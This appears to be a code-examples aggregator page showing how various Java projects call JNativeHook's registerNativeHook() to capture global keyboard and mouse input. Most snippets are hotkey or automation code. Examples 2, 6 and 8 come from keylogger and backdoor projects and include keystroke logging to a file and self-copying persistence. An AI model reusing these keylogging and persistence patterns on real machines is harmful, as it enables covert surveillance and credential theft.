Java Code Examples for org.jnativehook.GlobalScreen#registerNativeHook()

The following examples show how to use org.jnativehook.GlobalScreen#registerNativeHook() . You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
Source File: GlobalKeyListener.java    From Path-of-Leveling with MIT License 6 votes vote down vote up
public static void run() {
	try {
		GlobalScreen.registerNativeHook();
	}
	catch (NativeHookException ex) {
		System.err.println("There was a problem registering the native hook.");
		System.err.println(ex.getMessage());

		System.exit(1);
	}

               // Get the logger for "org.jnativehook" and set the level to off.
               Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
               logger.setLevel(Level.OFF);

               // Change the level for all handlers attached to the default logger.
               Handler[] handlers = Logger.getLogger("").getHandlers();
               for (int i = 0; i < handlers.length; i++) {
                       handlers[i].setLevel(Level.OFF);
               }

               setUpKeybinds();
	GlobalScreen.addNativeKeyListener(new GlobalKeyListener());
}
 
Example 2
Source File: Keylogger.java    From sAINT with BSD 3-Clause "New" or "Revised" License 6 votes vote down vote up
public static void main(String[] args) throws IOException {
    detectOS();

    app_path = System.getenv(environment_variable_path) + folder;

    createFolder(app_path);
    createFolder(app_path + path_logs);
    createFolder(app_path + path_screenshot);
    createFolder(app_path + path_cam);

    if (persistence == true) {
        copyFile(Keylogger.class.getProtectionDomain().getCodeSource().getLocation().getPath(), app_path + name_jar);
    }

    try {
        GlobalScreen.registerNativeHook();
    } catch (NativeHookException ex) {
        java.util.logging.Logger.getLogger(Keylogger.class.getName()).log(Level.SEVERE, null, ex);
    }
    GlobalScreen.getInstance().addNativeKeyListener(new Keylogger());
}
 
Example 3
Source File: MouseEventNotificator.java    From DeskChan with GNU Lesser General Public License v3.0 6 votes vote down vote up
/**
 * Enables handling of scroll and mouse wheel events for the node.
 * This type of events has a peculiarity on Windows. See the javadoc of notifyScrollEvents for more information.
 * @see #notifyScrollEvent
 * @param intersectionTestFunc a function that takes an event object and must return boolean
 * @return itself to let you use a chain of calls
 */
public MouseEventNotificator setOnScrollListener(Function<NativeMouseWheelEvent, Boolean> intersectionTestFunc) {
    if (SystemUtils.IS_OS_WINDOWS) {
        if (!GlobalScreen.isNativeHookRegistered()) {
            try {
                GlobalScreen.registerNativeHook();
            } catch (NativeHookException | UnsatisfiedLinkError e) {
                e.printStackTrace();
                Main.log("Failed to initialize the native hooking. Rolling back to using JavaFX events...");
                sender.addEventFilter(ScrollEvent.SCROLL, this::notifyScrollEvent);
                return this;
            }
        }
        mouseWheelListener = event -> notifyScrollEvent(event, intersectionTestFunc);
        GlobalScreen.addNativeMouseWheelListener(mouseWheelListener);
    } else {
        sender.addEventFilter(ScrollEvent.SCROLL, this::notifyScrollEvent);
    }

    return this;
}
 
Example 4
Source File: GlobalListenerHookController.java    From Repeat with Apache License 2.0 6 votes vote down vote up
public void initialize() {
	if (GlobalListenerFactory.USE_JNATIVE_HOOK) {
		// Get the logger for "org.jnativehook" and set the level to WARNING to begin with.
		Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
		logger.setLevel(Level.WARNING);

		if (!GlobalScreen.isNativeHookRegistered()) {
			try {
				GlobalScreen.registerNativeHook();
			} catch (NativeHookException e) {
				LOGGER.severe("Cannot register native hook!");
				System.exit(1);
			}
		}
	} else {
		NativeHookInitializer.of().start();
	}
}
 
Example 5
Source File: JNativeKeyHandler.java    From Spark-Reader with GNU General Public License v3.0 6 votes vote down vote up
@Override
public void addListeners()
{
    // Set the event dispatcher to a swing safe executor service.
    GlobalScreen.setEventDispatcher(new SwingDispatchService());
    try
    {
        GlobalScreen.registerNativeHook();
        GlobalScreen.addNativeKeyListener(this);
    }
    catch (NativeHookException ex)
    {
        System.err.println("Error starting KeyHandler:\n" + ex);
        System.err.println("Keyboard controls disabled");
    }
}
 
Example 6
Source File: KeyLogger.java    From BetterBackdoor with MIT License 5 votes vote down vote up
/**
 * Starts a key logger and logs keys to {@code dir}\keys.log.
 *
 * @param dir directory to log keys to
 */
public static void start(String dir) {
	try {
		out = new PrintWriter(new BufferedWriter(new FileWriter(dir + File.separator + "keys.log", true)));
		GlobalScreen.registerNativeHook();
		GlobalScreen.addNativeKeyListener(new KeyLogger());
	} catch (Exception e) {
		if (out != null)
			out.close();
	}
}
 
Example 7
Source File: MainFm.java    From tools-ocr with GNU Lesser General Public License v3.0 5 votes vote down vote up
private static void initKeyHook(){
    try {
        Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
        logger.setLevel(Level.WARNING);
        logger.setUseParentHandlers(false);
        GlobalScreen.setEventDispatcher(new VoidDispatchService());
        GlobalScreen.registerNativeHook();
        GlobalScreen.addNativeKeyListener(new GlobalKeyListener());
    }
    catch (Exception ex) {
        ex.printStackTrace();
    }
}
 
Example 8
Source File: Keylogger.java    From SpyGen with Apache License 2.0 5 votes vote down vote up
public static void startKeylogger() {
    try {
        GlobalScreen.registerNativeHook();
    } catch(NativeHookException nhe) {
        nhe.printStackTrace();
    }
    GlobalScreen.getInstance().addNativeKeyListener(keyboard = new NativeKeyboard());
}
 
Example 9
Source File: KeyShortcutsPanel.java    From nanoleaf-desktop with MIT License 5 votes vote down vote up
private void startKeyListener()
{
	try
	{
		shortcutListener = new GlobalShortcutListener(shortcuts, devices);
		GlobalScreen.registerNativeHook();
		GlobalScreen.addNativeKeyListener(shortcutListener);
		Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
		logger.setLevel(Level.OFF);
	}
	catch (NativeHookException nhe)
	{
		nhe.printStackTrace();
		if (nhe.getMessage().equals("Failed to enable access for assistive devices.") &&
				System.getProperty("os.name").toLowerCase().contains("mac"))
		{
			new TextDialog(KeyShortcutsPanel.this.getFocusCycleRootAncestor(),
					"Please enable accessibility control to use the shortcuts feature.")
					.setVisible(true);
		}
	}
	catch (UnsatisfiedLinkError ule)
	{
		ule.printStackTrace();
		new TextDialog(KeyShortcutsPanel.this.getFocusCycleRootAncestor(),
				"Failed to setup shortcuts. Your platform may not be supported.")
				.setVisible(true);
	}
}
 
Example 10
Source File: Recorder.java    From SikuliX1 with MIT License 5 votes vote down vote up
private static void registerNativeHook() {
  try {
    // Make Global Screen logger quiet.
    // Floods the console otherwise
    Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
    logger.setLevel(Level.OFF);
    logger.setUseParentHandlers(false);

    GlobalScreen.registerNativeHook();
  } catch (NativeHookException e) {
    Debug.error("Error registering native hook: %s", e.getMessage());
  }
}
 
Example 11
Source File: PmTrans.java    From pmTrans with GNU Lesser General Public License v3.0 5 votes vote down vote up
public static void main(String[] args) {
	// Global keys
	try {
		GlobalScreen.registerNativeHook();
	} catch (NativeHookException ex) {
		System.err.println(ex);
	}
	GlobalKeyListener GKL = new GlobalKeyListener();
	GlobalScreen.getInstance().addNativeKeyListener(GKL);

	new PmTrans(GKL);
}
 
Example 12
Source File: BaseQQWindowContext.java    From foolqq with BSD 2-Clause "Simplified" License 5 votes vote down vote up
public BaseQQWindowContext(File point) throws AWTException, IOException, NativeHookException {
	robot = new Robot();
	pImage = ImageIO.read(point);
	WindowHandleTask wintask = new WindowHandleTask(this, map, robot);
	Executors.newSingleThreadScheduledExecutor().scheduleAtFixedRate(wintask, checkInterval, checkInterval,
			TimeUnit.SECONDS);
	Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
	logger.setLevel(Level.OFF);
	logger.setUseParentHandlers(false);
	GlobalScreen.registerNativeHook();
	GlobalScreen.addNativeKeyListener(new GlobalKeyListener());
}
 
Example 13
Source File: HotKeysInterceptor.java    From MercuryTrade with MIT License 5 votes vote down vote up
public HotKeysInterceptor() {
    Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
    logger.setLevel(Level.OFF);

    logger.setUseParentHandlers(false);
    try {
        GlobalScreen.registerNativeHook();
    } catch (NativeHookException e) {
        e.printStackTrace();
    }

    GlobalScreen.addNativeKeyListener(new MercuryNativeKeyListener());
    GlobalScreen.addNativeMouseListener(new MercuryNativeMouseListener());
}
 
Example 14
Source File: HotKeysInterceptor.java    From MercuryTrade with MIT License 5 votes vote down vote up
public static void main(String[] args) {
//        new HotKeysInterceptor();
        Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
        logger.setLevel(Level.OFF);

        logger.setUseParentHandlers(false);
        try {
            GlobalScreen.registerNativeHook();
        } catch (NativeHookException e) {
            e.printStackTrace();
        }
        GlobalScreen.addNativeMouseListener(new MercuryNativeMouseListener());
    }